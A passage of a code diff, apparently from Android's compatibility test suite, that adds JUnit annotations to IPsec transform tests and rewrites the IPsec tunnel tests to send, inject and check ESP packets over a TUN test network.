checkTransform(IPPROTO_TCP, IPV4_LOOPBACK, crypt, auth, null, true, 1, true);
}
+ @Test
public void testAesCbcHmacSha384Udp4UdpEncap() throws Exception {
IpSecAlgorithm crypt = new IpSecAlgorithm(IpSecAlgorithm.CRYPT_AES_CBC, CRYPT_KEY);
IpSecAlgorithm auth = new IpSecAlgorithm(IpSecAlgorithm.AUTH_HMAC_SHA384, getKey(384), 192);
@@ -963,6 +1003,7 @@
checkTransform(IPPROTO_UDP, IPV4_LOOPBACK, crypt, auth, null, true, 1, true);
}
+ @Test
public void testAesCbcHmacSha512Tcp4UdpEncap() throws Exception {
IpSecAlgorithm crypt = new IpSecAlgorithm(IpSecAlgorithm.CRYPT_AES_CBC, CRYPT_KEY);
IpSecAlgorithm auth = new IpSecAlgorithm(IpSecAlgorithm.AUTH_HMAC_SHA512, getKey(512), 256);
@@ -970,6 +1011,7 @@
checkTransform(IPPROTO_TCP, IPV4_LOOPBACK, crypt, auth, null, true, 1, true);
}
+ @Test
public void testAesCbcHmacSha512Udp4UdpEncap() throws Exception {
IpSecAlgorithm crypt = new IpSecAlgorithm(IpSecAlgorithm.CRYPT_AES_CBC, CRYPT_KEY);
IpSecAlgorithm auth = new IpSecAlgorithm(IpSecAlgorithm.AUTH_HMAC_SHA512, getKey(512), 256);
@@ -977,6 +1019,7 @@
checkTransform(IPPROTO_UDP, IPV4_LOOPBACK, crypt, auth, null, true, 1, true);
}
+ @Test
public void testAesGcm64Tcp4UdpEncap() throws Exception {
IpSecAlgorithm authCrypt =
new IpSecAlgorithm(IpSecAlgorithm.AUTH_CRYPT_AES_GCM, AEAD_KEY, 64);
@@ -984,6 +1027,7 @@
checkTransform(IPPROTO_TCP, IPV4_LOOPBACK, null, null, authCrypt, true, 1, true);
}
+ @Test
public void testAesGcm64Udp4UdpEncap() throws Exception {
IpSecAlgorithm authCrypt =
new IpSecAlgorithm(IpSecAlgorithm.AUTH_CRYPT_AES_GCM, AEAD_KEY, 64);
@@ -991,6 +1035,7 @@
checkTransform(IPPROTO_UDP, IPV4_LOOPBACK, null, null, authCrypt, true, 1, true);
}
+ @Test
public void testAesGcm96Tcp4UdpEncap() throws Exception {
IpSecAlgorithm authCrypt =
new IpSecAlgorithm(IpSecAlgorithm.AUTH_CRYPT_AES_GCM, AEAD_KEY, 96);
@@ -998,6 +1043,7 @@
checkTransform(IPPROTO_TCP, IPV4_LOOPBACK, null, null, authCrypt, true, 1, true);
}
+ @Test
public void testAesGcm96Udp4UdpEncap() throws Exception {
IpSecAlgorithm authCrypt =
new IpSecAlgorithm(IpSecAlgorithm.AUTH_CRYPT_AES_GCM, AEAD_KEY, 96);
@@ -1005,6 +1051,7 @@
checkTransform(IPPROTO_UDP, IPV4_LOOPBACK, null, null, authCrypt, true, 1, true);
}
+ @Test
public void testAesGcm128Tcp4UdpEncap() throws Exception {
IpSecAlgorithm authCrypt =
new IpSecAlgorithm(IpSecAlgorithm.AUTH_CRYPT_AES_GCM, AEAD_KEY, 128);
@@ -1012,6 +1059,7 @@
checkTransform(IPPROTO_TCP, IPV4_LOOPBACK, null, null, authCrypt, true, 1, true);
}
+ @Test
public void testAesGcm128Udp4UdpEncap() throws Exception {
IpSecAlgorithm authCrypt =
new IpSecAlgorithm(IpSecAlgorithm.AUTH_CRYPT_AES_GCM, AEAD_KEY, 128);
@@ -1019,78 +1067,91 @@
checkTransform(IPPROTO_UDP, IPV4_LOOPBACK, null, null, authCrypt, true, 1, true);
}
+ @Test
public void testCryptUdp4() throws Exception {
IpSecAlgorithm crypt = new IpSecAlgorithm(IpSecAlgorithm.CRYPT_AES_CBC, CRYPT_KEY);
checkTransform(IPPROTO_UDP, IPV4_LOOPBACK, crypt, null, null, false, 1, false);
checkTransform(IPPROTO_UDP, IPV4_LOOPBACK, crypt, null, null, false, 1, true);
}
+ @Test
public void testAuthUdp4() throws Exception {
IpSecAlgorithm auth = new IpSecAlgorithm(IpSecAlgorithm.AUTH_HMAC_SHA256, getKey(256), 128);
checkTransform(IPPROTO_UDP, IPV4_LOOPBACK, null, auth, null, false, 1, false);
checkTransform(IPPROTO_UDP, IPV4_LOOPBACK, null, auth, null, false, 1, true);
}
+ @Test
public void testCryptUdp6() throws Exception {
IpSecAlgorithm crypt = new IpSecAlgorithm(IpSecAlgorithm.CRYPT_AES_CBC, CRYPT_KEY);
checkTransform(IPPROTO_UDP, IPV6_LOOPBACK, crypt, null, null, false, 1, false);
checkTransform(IPPROTO_UDP, IPV6_LOOPBACK, crypt, null, null, false, 1, true);
}
+ @Test
public void testAuthUdp6() throws Exception {
IpSecAlgorithm auth = new IpSecAlgorithm(IpSecAlgorithm.AUTH_HMAC_SHA256, getKey(256), 128);
checkTransform(IPPROTO_UDP, IPV6_LOOPBACK, null, auth, null, false, 1, false);
checkTransform(IPPROTO_UDP, IPV6_LOOPBACK, null, auth, null, false, 1, true);
}
+ @Test
public void testCryptTcp4() throws Exception {
IpSecAlgorithm crypt = new IpSecAlgorithm(IpSecAlgorithm.CRYPT_AES_CBC, CRYPT_KEY);
checkTransform(IPPROTO_TCP, IPV4_LOOPBACK, crypt, null, null, false, 1, false);
checkTransform(IPPROTO_TCP, IPV4_LOOPBACK, crypt, null, null, false, 1, true);
}
+ @Test
public void testAuthTcp4() throws Exception {
IpSecAlgorithm auth = new IpSecAlgorithm(IpSecAlgorithm.AUTH_HMAC_SHA256, getKey(256), 128);
checkTransform(IPPROTO_TCP, IPV4_LOOPBACK, null, auth, null, false, 1, false);
checkTransform(IPPROTO_TCP, IPV4_LOOPBACK, null, auth, null, false, 1, true);
}
+ @Test
public void testCryptTcp6() throws Exception {
IpSecAlgorithm crypt = new IpSecAlgorithm(IpSecAlgorithm.CRYPT_AES_CBC, CRYPT_KEY);
checkTransform(IPPROTO_TCP, IPV6_LOOPBACK, crypt, null, null, false, 1, false);
checkTransform(IPPROTO_TCP, IPV6_LOOPBACK, crypt, null, null, false, 1, true);
}
+ @Test
public void testAuthTcp6() throws Exception {
IpSecAlgorithm auth = new IpSecAlgorithm(IpSecAlgorithm.AUTH_HMAC_SHA256, getKey(256), 128);
checkTransform(IPPROTO_TCP, IPV6_LOOPBACK, null, auth, null, false, 1, false);
checkTransform(IPPROTO_TCP, IPV6_LOOPBACK, null, auth, null, false, 1, true);
}
+ @Test
public void testCryptUdp4UdpEncap() throws Exception {
IpSecAlgorithm crypt = new IpSecAlgorithm(IpSecAlgorithm.CRYPT_AES_CBC, CRYPT_KEY);
checkTransform(IPPROTO_UDP, IPV4_LOOPBACK, crypt, null, null, true, 1, false);
checkTransform(IPPROTO_UDP, IPV4_LOOPBACK, crypt, null, null, true, 1, true);
}
+ @Test
public void testAuthUdp4UdpEncap() throws Exception {
IpSecAlgorithm auth = new IpSecAlgorithm(IpSecAlgorithm.AUTH_HMAC_SHA256, getKey(256), 128);
checkTransform(IPPROTO_UDP, IPV4_LOOPBACK, null, auth, null, true, 1, false);
checkTransform(IPPROTO_UDP, IPV4_LOOPBACK, null, auth, null, true, 1, true);
}
+ @Test
public void testCryptTcp4UdpEncap() throws Exception {
IpSecAlgorithm crypt = new IpSecAlgorithm(IpSecAlgorithm.CRYPT_AES_CBC, CRYPT_KEY);
checkTransform(IPPROTO_TCP, IPV4_LOOPBACK, crypt, null, null, true, 1, false);
checkTransform(IPPROTO_TCP, IPV4_LOOPBACK, crypt, null, null, true, 1, true);
}
+ @Test
public void testAuthTcp4UdpEncap() throws Exception {
IpSecAlgorithm auth = new IpSecAlgorithm(IpSecAlgorithm.AUTH_HMAC_SHA256, getKey(256), 128);
checkTransform(IPPROTO_TCP, IPV4_LOOPBACK, null, auth, null, true, 1, false);
checkTransform(IPPROTO_TCP, IPV4_LOOPBACK, null, auth, null, true, 1, true);
}
+ @Test
public void testOpenUdpEncapSocketSpecificPort() throws Exception {
IpSecManager.UdpEncapsulationSocket encapSocket = null;
int port = -1;
@@ -1119,6 +1180,7 @@
assertTrue("Returned invalid port", encapSocket.getPort() == port);
}
+ @Test
public void testOpenUdpEncapSocketRandomPort() throws Exception {
try (IpSecManager.UdpEncapsulationSocket encapSocket = mISM.openUdpEncapsulationSocket()) {
assertTrue("Returned invalid port", encapSocket.getPort() != 0);
diff --git a/tests/tests/net/src/android/net/cts/IpSecManagerTunnelTest.java b/tests/tests/net/src/android/net/cts/IpSecManagerTunnelTest.java
index 5dc9b63..999d2f1 100644
--- a/tests/tests/net/src/android/net/cts/IpSecManagerTunnelTest.java
+++ b/tests/tests/net/src/android/net/cts/IpSecManagerTunnelTest.java
@@ -16,161 +16,938 @@
package android.net.cts;
+import static android.app.AppOpsManager.OP_MANAGE_IPSEC_TUNNELS;
+import static android.net.IpSecManager.UdpEncapsulationSocket;
+import static android.net.NetworkCapabilities.NET_CAPABILITY_NOT_VPN;
+import static android.net.NetworkCapabilities.NET_CAPABILITY_TRUSTED;
+import static android.net.NetworkCapabilities.TRANSPORT_TEST;
+import static android.net.cts.PacketUtils.AES_CBC_BLK_SIZE;
+import static android.net.cts.PacketUtils.AES_CBC_IV_LEN;
+import static android.net.cts.PacketUtils.BytePayload;
+import static android.net.cts.PacketUtils.EspHeader;
+import static android.net.cts.PacketUtils.IP4_HDRLEN;
+import static android.net.cts.PacketUtils.IP6_HDRLEN;
+import static android.net.cts.PacketUtils.Ip4Header;
+import static android.net.cts.PacketUtils.Ip6Header;
+import static android.net.cts.PacketUtils.IpHeader;
+import static android.net.cts.PacketUtils.UDP_HDRLEN;
+import static android.net.cts.PacketUtils.UdpHeader;
+import static android.system.OsConstants.AF_INET;
+import static android.system.OsConstants.AF_INET6;
+
+import static org.junit.Assert.assertArrayEquals;
import static org.junit.Assert.assertEquals;
import static org.junit.Assert.assertNotNull;
import static org.junit.Assert.assertNull;
-import static org.junit.Assert.assertTrue;
+import static org.junit.Assert.fail;
+import android.app.AppOpsManager;
+import android.content.Context;
+import android.content.pm.PackageManager;
+import android.net.ConnectivityManager;
import android.net.IpSecAlgorithm;
import android.net.IpSecManager;
import android.net.IpSecTransform;
+import android.net.LinkAddress;
import android.net.Network;
+import android.net.NetworkRequest;
+import android.net.TestNetworkInterface;
+import android.net.TestNetworkManager;
+import android.net.cts.PacketUtils.Payload;
+import android.os.Binder;
+import android.os.Build;
+import android.os.IBinder;
+import android.os.ParcelFileDescriptor;
+import android.os.SystemProperties;
+import android.platform.test.annotations.AppModeFull;
+
+import androidx.test.InstrumentationRegistry;
+import androidx.test.runner.AndroidJUnit4;
import com.android.compatibility.common.util.SystemUtil;
+import java.net.Inet4Address;
import java.net.Inet6Address;
import java.net.InetAddress;
-import java.net.InterfaceAddress;
import java.net.NetworkInterface;
+import java.util.concurrent.CompletableFuture;
+import java.util.concurrent.TimeUnit;
+import org.junit.AfterClass;
+import org.junit.Before;
+import org.junit.BeforeClass;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+@RunWith(AndroidJUnit4.class)
+@AppModeFull(reason = "MANAGE_TEST_NETWORKS permission can't be granted to instant apps")
public class IpSecManagerTunnelTest extends IpSecBaseTest {
-
private static final String TAG = IpSecManagerTunnelTest.class.getSimpleName();
- private static final int IP4_PREFIX_LEN = 24;
- private static final int IP6_PREFIX_LEN = 48;
- private static final InetAddress OUTER_ADDR4 = InetAddress.parseNumericAddress("192.0.2.0");
- private static final InetAddress OUTER_ADDR6 =
- InetAddress.parseNumericAddress("2001:db8:f00d::1");
- private static final InetAddress INNER_ADDR4 = InetAddress.parseNumericAddress("10.0.0.1");
- private static final InetAddress INNER_ADDR6 =
- InetAddress.parseNumericAddress("2001:db8:d00d::1");
- private Network mUnderlyingNetwork;
- private Network mIpSecNetwork;
+ private static final InetAddress LOCAL_OUTER_4 = InetAddress.parseNumericAddress("192.0.2.1");
+ private static final InetAddress REMOTE_OUTER_4 = InetAddress.parseNumericAddress("192.0.2.2");
+ private static final InetAddress LOCAL_OUTER_6 =
+ InetAddress.parseNumericAddress("2001:db8:1::1");
+ private static final InetAddress REMOTE_OUTER_6 =
+ InetAddress.parseNumericAddress("2001:db8:1::2");
- protected void setUp() throws Exception {
+ private static final InetAddress LOCAL_INNER_4 =
+ InetAddress.parseNumericAddress("198.51.100.1");
+ private static final InetAddress REMOTE_INNER_4 =
+ InetAddress.parseNumericAddress("198.51.100.2");
+ private static final InetAddress LOCAL_INNER_6 =
+ InetAddress.parseNumericAddress("2001:db8:2::1");
+ private static final InetAddress REMOTE_INNER_6 =
+ InetAddress.parseNumericAddress("2001:db8:2::2");
+
+ private static final int IP4_PREFIX_LEN = 32;
+ private static final int IP6_PREFIX_LEN = 128;
+
+ private static final int TIMEOUT_MS = 500;
+
+ // Static state to reduce setup/teardown
+ private static ConnectivityManager sCM;
+ private static TestNetworkManager sTNM;
+ private static ParcelFileDescriptor sTunFd;
+ private static TestNetworkCallback sTunNetworkCallback;
+ private static Network sTunNetwork;
+ private static TunUtils sTunUtils;
+
+ private static Context sContext = InstrumentationRegistry.getContext();
+ private static IBinder sBinder = new Binder();
+
+ @BeforeClass
+ public static void setUpBeforeClass() throws Exception {
+ InstrumentationRegistry.getInstrumentation()
+ .getUiAutomation()
+ .adoptShellPermissionIdentity();
+ sCM = (ConnectivityManager) sContext.getSystemService(Context.CONNECTIVITY_SERVICE);
+ sTNM = (TestNetworkManager) sContext.getSystemService(Context.TEST_NETWORK_SERVICE);
+
+ // Under normal circumstances, the MANAGE_IPSEC_TUNNELS appop would be auto-granted, and
+ // a standard permission is insufficient. So we shell out the appop, to give us the
+ // right appop permissions.
+ setAppop(OP_MANAGE_IPSEC_TUNNELS, true);
+
+ TestNetworkInterface testIface =
+ sTNM.createTunInterface(
+ new LinkAddress[] {
+ new LinkAddress(LOCAL_OUTER_4, IP4_PREFIX_LEN),
+ new LinkAddress(LOCAL_OUTER_6, IP6_PREFIX_LEN)
+ });
+
+ sTunFd = testIface.getFileDescriptor();
+ sTunNetworkCallback = setupAndGetTestNetwork(testIface.getInterfaceName());
+ sTunNetwork = sTunNetworkCallback.getNetworkBlocking();
+
+ sTunUtils = new TunUtils(sTunFd);
+ }
+
+ @Before
+ @Override
+ public void setUp() throws Exception {
super.setUp();
+
+ // Set to true before every run; some tests flip this.
+ setAppop(OP_MANAGE_IPSEC_TUNNELS, true);
+
+ // Clear sTunUtils state
+ sTunUtils.reset();
}
- protected void tearDown() {
- setAppop(false);
+ @AfterClass
+ public static void tearDownAfterClass() throws Exception {
+ setAppop(OP_MANAGE_IPSEC_TUNNELS, false);
+
+ sCM.unregisterNetworkCallback(sTunNetworkCallback);
+
+ sTNM.teardownTestNetwork(sTunNetwork);
+ sTunFd.close();
+
+ InstrumentationRegistry.getInstrumentation()
+ .getUiAutomation()
+ .dropShellPermissionIdentity();
}
- private void setAppop(boolean allow) {
- // Under normal circumstances, the MANAGE_IPSEC_TUNNELS appop would be auto-granted by the
- // telephony framework, and the only permission that is sufficient is NETWORK_STACK. So we
- // shell out the appop manager, to give us the right appop permissions.
- String cmd =
- "appops set "
- + mContext.getPackageName()
- + " MANAGE_IPSEC_TUNNELS "
- + (allow ? "allow" : "deny");
- SystemUtil.runShellCommand(cmd);
+ private static boolean hasTunnelsFeature() {
+ return sContext.getPackageManager().hasSystemFeature(PackageManager.FEATURE_IPSEC_TUNNELS)
+ || SystemProperties.getInt("ro.product.first_api_level", 0)
+ >= Build.VERSION_CODES.Q;
}
- public void testSecurityExceptionsCreateTunnelInterface() throws Exception {
+ private static void setAppop(int appop, boolean allow) {
+ String opName = AppOpsManager.opToName(appop);
+ for (String pkg : new String[] {"com.android.shell", sContext.getPackageName()}) {
+ String cmd =
+ String.format(
+ "appops set %s %s %s",
+ pkg, // Package name
+ opName, // Appop
+ (allow ? "allow" : "deny")); // Action
+ SystemUtil.runShellCommand(cmd);
+ }
+ }
+
+ private static TestNetworkCallback setupAndGetTestNetwork(String ifname) throws Exception {
+ // Build a network request
+ NetworkRequest nr =
+ new NetworkRequest.Builder()
+ .addTransportType(TRANSPORT_TEST)
+ .removeCapability(NET_CAPABILITY_TRUSTED)
+ .removeCapability(NET_CAPABILITY_NOT_VPN)
+ .setNetworkSpecifier(ifname)
+ .build();
+
+ TestNetworkCallback cb = new TestNetworkCallback();
+ sCM.requestNetwork(nr, cb);
+
+ // Setup the test network after network request is filed to prevent Network from being
+ // reaped due to no requests matching it.
+ sTNM.setupTestNetwork(ifname, sBinder);
+
+ return cb;
+ }
+
+ @Test
+ public void testSecurityExceptionCreateTunnelInterfaceWithoutAppop() throws Exception {
+ if (!hasTunnelsFeature()) return;
+
// Ensure we don't have the appop. Permission is not requested in the Manifest
- setAppop(false);
+ setAppop(OP_MANAGE_IPSEC_TUNNELS, false);
// Security exceptions are thrown regardless of IPv4/IPv6. Just test one
try {
- mISM.createIpSecTunnelInterface(OUTER_ADDR6, OUTER_ADDR6, mUnderlyingNetwork);
+ mISM.createIpSecTunnelInterface(LOCAL_INNER_6, REMOTE_INNER_6, sTunNetwork);
fail("Did not throw SecurityException for Tunnel creation without appop");
} catch (SecurityException expected) {
}
}
- public void testSecurityExceptionsBuildTunnelTransform() throws Exception {
+ @Test
+ public void testSecurityExceptionBuildTunnelTransformWithoutAppop() throws Exception {
+ if (!hasTunnelsFeature()) return;
+
// Ensure we don't have the appop. Permission is not requested in the Manifest
- setAppop(false);
+ setAppop(OP_MANAGE_IPSEC_TUNNELS, false);
// Security exceptions are thrown regardless of IPv4/IPv6. Just test one
try (IpSecManager.SecurityParameterIndex spi =
- mISM.allocateSecurityParameterIndex(OUTER_ADDR4);
+ mISM.allocateSecurityParameterIndex(LOCAL_INNER_4);
IpSecTransform transform =
- new IpSecTransform.Builder(mContext)
- .buildTunnelModeTransform(OUTER_ADDR4, spi)) {
+ new IpSecTransform.Builder(sContext)
+ .buildTunnelModeTransform(REMOTE_INNER_4, spi)) {
fail("Did not throw SecurityException for Transform creation without appop");
} catch (SecurityException expected) {
}
}
- private void checkTunnel(InetAddress inner, InetAddress outer, boolean useEncap)
+ /* Test runnables for callbacks after IPsec tunnels are set up. */
+ private abstract class IpSecTunnelTestRunnable {
+ /**
+ * Runs the test code, and returns the inner socket port, if any.
+ *
+ * @param ipsecNetwork The IPsec Interface based Network for binding sockets on
+ * @return the integer port of the inner socket if outbound, or 0 if inbound
+ * IpSecTunnelTestRunnable
+ * @throws Exception if any part of the test failed.
+ */
+ public abstract int run(Network ipsecNetwork) throws Exception;
+ }
+
+ private static class TestNetworkCallback extends ConnectivityManager.NetworkCallback {
+ private final CompletableFuture<Network> futureNetwork = new CompletableFuture<>();
+
+ @Override
+ public void onAvailable(Network network) {
+ futureNetwork.complete(network);
+ }
+
+ public Network getNetworkBlocking() throws Exception {
+ return futureNetwork.get(TIMEOUT_MS, TimeUnit.MILLISECONDS);
+ }
+ }
+
+ private int getPacketSize(
+ int innerFamily, int outerFamily, boolean useEncap, boolean transportInTunnelMode) {
+ int expectedPacketSize = TEST_DATA.length + UDP_HDRLEN;
+
+ // Inner Transport mode packet size
+ if (transportInTunnelMode) {
+ expectedPacketSize =
+ PacketUtils.calculateEspPacketSize(
+ expectedPacketSize,
+ AES_CBC_IV_LEN,
+ AES_CBC_BLK_SIZE,
+ AUTH_KEY.length * 4);
+ }
+
+ // Inner IP Header
+ expectedPacketSize += innerFamily == AF_INET ? IP4_HDRLEN : IP6_HDRLEN;
+
+ // Tunnel mode transform size
+ expectedPacketSize =
+ PacketUtils.calculateEspPacketSize(
+ expectedPacketSize, AES_CBC_IV_LEN, AES_CBC_BLK_SIZE, AUTH_KEY.length * 4);
+
+ // UDP encap size
+ expectedPacketSize += useEncap ? UDP_HDRLEN : 0;
+
+ // Outer IP Header
+ expectedPacketSize += outerFamily == AF_INET ? IP4_HDRLEN : IP6_HDRLEN;
+
+ return expectedPacketSize;
+ }
+
+ private interface IpSecTunnelTestRunnableFactory {
+ IpSecTunnelTestRunnable getIpSecTunnelTestRunnable(
+ boolean transportInTunnelMode,
+ int spi,
+ InetAddress localInner,
+ InetAddress remoteInner,
+ InetAddress localOuter,
+ InetAddress remoteOuter,
+ IpSecTransform inTransportTransform,
+ IpSecTransform outTransportTransform,
+ int encapPort,
+ int innerSocketPort,
+ int expectedPacketSize)
+ throws Exception;
+ }
+
+ private class OutputIpSecTunnelTestRunnableFactory implements IpSecTunnelTestRunnableFactory {
+ public IpSecTunnelTestRunnable getIpSecTunnelTestRunnable(
+ boolean transportInTunnelMode,
+ int spi,
+ InetAddress localInner,
+ InetAddress remoteInner,
+ InetAddress localOuter,
+ InetAddress remoteOuter,
+ IpSecTransform inTransportTransform,
+ IpSecTransform outTransportTransform,
+ int encapPort,
+ int unusedInnerSocketPort,
+ int expectedPacketSize) {
+ return new IpSecTunnelTestRunnable() {
+ @Override
+ public int run(Network ipsecNetwork) throws Exception {
+ // Build a socket and send traffic
+ JavaUdpSocket socket = new JavaUdpSocket(localInner);
+ ipsecNetwork.bindSocket(socket.mSocket);
+ int innerSocketPort = socket.getPort();
+
+ // For Transport-In-Tunnel mode, apply transform to socket
+ if (transportInTunnelMode) {
+ mISM.applyTransportModeTransform(
+ socket.mSocket, IpSecManager.DIRECTION_IN, inTransportTransform);
+ mISM.applyTransportModeTransform(
+ socket.mSocket, IpSecManager.DIRECTION_OUT, outTransportTransform);
+ }
+
+ socket.sendTo(TEST_DATA, remoteInner, socket.getPort());
+
+ // Verify that an encrypted packet is sent. As of right now, checking encrypted
+ // body is not possible, due to the test not knowing some of the fields of the
+ // inner IP header (flow label, flags, etc)
+ sTunUtils.awaitEspPacketNoPlaintext(
+ spi, TEST_DATA, encapPort != 0, expectedPacketSize);
+
+ socket.close();
+
+ return innerSocketPort;
+ }
+ };
+ }
+ }
+
+ private class InputReflectedIpSecTunnelTestRunnableFactory
+ implements IpSecTunnelTestRunnableFactory {
+ public IpSecTunnelTestRunnable getIpSecTunnelTestRunnable(
+ boolean transportInTunnelMode,
+ int spi,
+ InetAddress localInner,
+ InetAddress remoteInner,
+ InetAddress localOuter,
+ InetAddress remoteOuter,
+ IpSecTransform inTransportTransform,
+ IpSecTransform outTransportTransform,
+ int encapPort,
+ int innerSocketPort,
+ int expectedPacketSize)
+ throws Exception {
+ return new IpSecTunnelTestRunnable() {
+ @Override
+ public int run(Network ipsecNetwork) throws Exception {
+ // Build a socket and receive traffic
+ JavaUdpSocket socket = new JavaUdpSocket(localInner, innerSocketPort);
+ ipsecNetwork.bindSocket(socket.mSocket);
+
+ // For Transport-In-Tunnel mode, apply transform to socket
+ if (transportInTunnelMode) {
+ mISM.applyTransportModeTransform(
+ socket.mSocket, IpSecManager.DIRECTION_IN, outTransportTransform);
+ mISM.applyTransportModeTransform(
+ socket.mSocket, IpSecManager.DIRECTION_OUT, inTransportTransform);
+ }
+
+ sTunUtils.reflectPackets();
+
+ // Receive packet from socket, and validate that the payload is correct
+ receiveAndValidatePacket(socket);
+
+ socket.close();
+
+ return 0;
+ }
+ };
+ }
+ }
+
+ private class InputPacketGeneratorIpSecTunnelTestRunnableFactory
+ implements IpSecTunnelTestRunnableFactory {
+ public IpSecTunnelTestRunnable getIpSecTunnelTestRunnable(
+ boolean transportInTunnelMode,
+ int spi,
+ InetAddress localInner,
+ InetAddress remoteInner,
+ InetAddress localOuter,
+ InetAddress remoteOuter,
+ IpSecTransform inTransportTransform,
+ IpSecTransform outTransportTransform,
+ int encapPort,
+ int innerSocketPort,
+ int expectedPacketSize)
+ throws Exception {
+ return new IpSecTunnelTestRunnable() {
+ @Override
+ public int run(Network ipsecNetwork) throws Exception {
+ // Build a socket and receive traffic
+ JavaUdpSocket socket = new JavaUdpSocket(localInner);
+ ipsecNetwork.bindSocket(socket.mSocket);
+
+ // For Transport-In-Tunnel mode, apply transform to socket
+ if (transportInTunnelMode) {
+ mISM.applyTransportModeTransform(
+ socket.mSocket, IpSecManager.DIRECTION_IN, outTransportTransform);
+ mISM.applyTransportModeTransform(
+ socket.mSocket, IpSecManager.DIRECTION_OUT, inTransportTransform);
+ }
+
+ byte[] pkt;
+ if (transportInTunnelMode) {
+ pkt =
+ getTransportInTunnelModePacket(
+ spi,
+ spi,
+ remoteInner,
+ localInner,
+ remoteOuter,
+ localOuter,
+ socket.getPort(),
+ encapPort);
+ } else {
+ pkt =
+ getTunnelModePacket(
+ spi,
+ remoteInner,
+ localInner,
+ remoteOuter,
+ localOuter,
+ socket.getPort(),
+ encapPort);
+ }
+ sTunUtils.injectPacket(pkt);
+
+ // Receive packet from socket, and validate
+ receiveAndValidatePacket(socket);
+
+ socket.close();
+
+ return 0;
+ }
+ };
+ }
+ }
+
+ private void checkTunnelOutput(
+ int innerFamily, int outerFamily, boolean useEncap, boolean transportInTunnelMode)
throws Exception {
- setAppop(true);
- int innerPrefixLen = inner instanceof Inet6Address ? IP6_PREFIX_LEN : IP4_PREFIX_LEN;
+ checkTunnel(
+ innerFamily,
+ outerFamily,
+ useEncap,
+ transportInTunnelMode,
+ new OutputIpSecTunnelTestRunnableFactory());
+ }
- try (IpSecManager.SecurityParameterIndex spi = mISM.allocateSecurityParameterIndex(outer);
- IpSecManager.IpSecTunnelInterface tunnelIntf =
- mISM.createIpSecTunnelInterface(outer, outer, mCM.getActiveNetwork());
- IpSecManager.UdpEncapsulationSocket encapSocket =
- mISM.openUdpEncapsulationSocket()) {
+ private void checkTunnelInput(
+ int innerFamily, int outerFamily, boolean useEncap, boolean transportInTunnelMode)
+ throws Exception {
+ checkTunnel(
+ innerFamily,
+ outerFamily,
+ useEncap,
+ transportInTunnelMode,
+ new InputPacketGeneratorIpSecTunnelTestRunnableFactory());
+ }
- IpSecTransform.Builder transformBuilder = new IpSecTransform.Builder(mContext);
+ /**
+ * Validates that the kernel can talk to itself.
+ *
+ * <p>This test takes an outbound IPsec packet, reflects it (by flipping IP src/dst), and
+ * injects it back into the TUN. This test then verifies that a packet with the correct payload
+ * is found on the specified socket/port.
+ */
+ public void checkTunnelReflected(
+ int innerFamily, int outerFamily, boolean useEncap, boolean transportInTunnelMode)
+ throws Exception {
+ if (!hasTunnelsFeature()) return;
+
+ InetAddress localInner = innerFamily == AF_INET ? LOCAL_INNER_4 : LOCAL_INNER_6;
+ InetAddress remoteInner = innerFamily == AF_INET ? REMOTE_INNER_4 : REMOTE_INNER_6;
+
+ InetAddress localOuter = outerFamily == AF_INET ? LOCAL_OUTER_4 : LOCAL_OUTER_6;
+ InetAddress remoteOuter = outerFamily == AF_INET ? REMOTE_OUTER_4 : REMOTE_OUTER_6;
+
+ // Preselect both SPI and encap port, to be used for both inbound and outbound tunnels.
+ int spi = getRandomSpi(localOuter, remoteOuter);
+ int expectedPacketSize =
+ getPacketSize(innerFamily, outerFamily, useEncap, transportInTunnelMode);
+
+ try (IpSecManager.SecurityParameterIndex inTransportSpi =
+ mISM.allocateSecurityParameterIndex(localInner, spi);
+ IpSecManager.SecurityParameterIndex outTransportSpi =
+ mISM.allocateSecurityParameterIndex(remoteInner, spi);
+ IpSecTransform inTransportTransform =
+ buildIpSecTransform(sContext, inTransportSpi, null, remoteInner);
+ IpSecTransform outTransportTransform =
+ buildIpSecTransform(sContext, outTransportSpi, null, localInner);
+ UdpEncapsulationSocket encapSocket = mISM.openUdpEncapsulationSocket()) {
+
+ // Run output direction tests
+ IpSecTunnelTestRunnable outputIpSecTunnelTestRunnable =
+ new OutputIpSecTunnelTestRunnableFactory()
+ .getIpSecTunnelTestRunnable(
+ transportInTunnelMode,
+ spi,
+ localInner,
+ remoteInner,
+ localOuter,
+ remoteOuter,
+ inTransportTransform,
+ outTransportTransform,
+ useEncap ? encapSocket.getPort() : 0,
+ 0,
+ expectedPacketSize);
+ int innerSocketPort =
+ buildTunnelNetworkAndRunTests(
+ localInner,
+ remoteInner,
+ localOuter,
+ remoteOuter,
+ spi,
+ useEncap ? encapSocket : null,
+ outputIpSecTunnelTestRunnable);
+
+ // Input direction tests, with matching inner socket ports.
+ IpSecTunnelTestRunnable inputIpSecTunnelTestRunnable =
+ new InputReflectedIpSecTunnelTestRunnableFactory()
+ .getIpSecTunnelTestRunnable(
+ transportInTunnelMode,
+ spi,
+ remoteInner,
+ localInner,
+ localOuter,
+ remoteOuter,
+ inTransportTransform,
+ outTransportTransform,
+ useEncap ? encapSocket.getPort() : 0,
+ innerSocketPort,
+ expectedPacketSize);
+ buildTunnelNetworkAndRunTests(
+ remoteInner,
+ localInner,
+ localOuter,
+ remoteOuter,
+ spi,
+ useEncap ? encapSocket : null,
+ inputIpSecTunnelTestRunnable);
+ }
+ }
+
+ public void checkTunnel(
+ int innerFamily,
+ int outerFamily,
+ boolean useEncap,
+ boolean transportInTunnelMode,
+ IpSecTunnelTestRunnableFactory factory)
+ throws Exception {
+ if (!hasTunnelsFeature()) return;
+
+ InetAddress localInner = innerFamily == AF_INET ? LOCAL_INNER_4 : LOCAL_INNER_6;
+ InetAddress remoteInner = innerFamily == AF_INET ? REMOTE_INNER_4 : REMOTE_INNER_6;
+
+ InetAddress localOuter = outerFamily == AF_INET ? LOCAL_OUTER_4 : LOCAL_OUTER_6;
+ InetAddress remoteOuter = outerFamily == AF_INET ? REMOTE_OUTER_4 : REMOTE_OUTER_6;
+
+ // Preselect both SPI and encap port, to be used for both inbound and outbound tunnels.
+ // Re-uses the same SPI to ensure that even in cases of symmetric SPIs shared across tunnel
+ // and transport mode, packets are encrypted/decrypted properly based on the src/dst.
+ int spi = getRandomSpi(localOuter, remoteOuter);
+ int expectedPacketSize =
+ getPacketSize(innerFamily, outerFamily, useEncap, transportInTunnelMode);
+
+ try (IpSecManager.SecurityParameterIndex inTransportSpi =
+ mISM.allocateSecurityParameterIndex(localInner, spi);
+ IpSecManager.SecurityParameterIndex outTransportSpi =
+ mISM.allocateSecurityParameterIndex(remoteInner, spi);
